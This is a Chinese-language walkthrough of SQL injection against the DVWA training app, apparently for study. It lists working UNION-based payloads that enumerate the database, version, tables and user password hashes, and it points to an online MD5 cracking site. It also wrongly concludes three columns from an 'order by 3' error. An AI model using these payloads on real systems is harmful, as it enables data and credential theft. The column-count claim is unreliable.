DVWA.security=low.SQL Injection
后台查询语句:
//后台查询Sql语句是:
SELECT first_name, last_name FROM users WHERE user_id = '$id';
//当user_id输入1时,实际执行的Sql语句是
SELECT first_name, last_name FROM users WHERE user_id = '1';
1、确定数据表列数——1' order by 1#
//Mysql语法中,#后面的内容会被注释掉
SELECT first_name, last_name FROM users WHERE user_id = '1' order by 1#;
“order by 1” 指将第一列的数据按升序排列。
order by 1和order by 2都能正常返回数据,当“1' order by 3#”时,返回报错信息:
由此可知,该数据表只有3列。
2、联合查询,获取数据库信息——union select
使用 union 查询时,union左右两侧的查询语句的列数要相同,否则会出错。
- 获取数据库名称、当前用户
// 1' union select database(),user()#
SELECT first_name, last_name FROM users WHERE user_id = '1' union select database(),user()#`;
- 获取数据库版本、当前操作系统信息
//1' union select version(),@@version_compile_os#
SELECT first_name, last_name FROM users WHERE user_id = '1' union select version(),@@version_compile_os#`;
- 获取dvwa数据库中的表名
//1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#
SELECT first_name, last_name FROM users WHERE user_id = '1' union select table_name,table_schema from information_schema.tables where table_schema='dvwa'#`;
可知,dvwa 数据库有两个数据表,分别是 guestbook 和 users 。
- 获取用户名、密码——大胆猜测user表的用户名、密码字段分别为:username和password
//1' union select user,password from users#
SELECT first_name, last_name FROM users WHERE user_id = '1' union select username,password from users#`;
哎呀,猜错了~~,可是这个报错信息很给力啊
继续,大胆猜测user表的用户名字段为:user
SELECT first_name, last_name FROM users WHERE user_id = '1' union select user,password from users#`;
成功爆出用户名、密码。密码采用 md5 进行加密,可以到www.cmd5.com进行解密。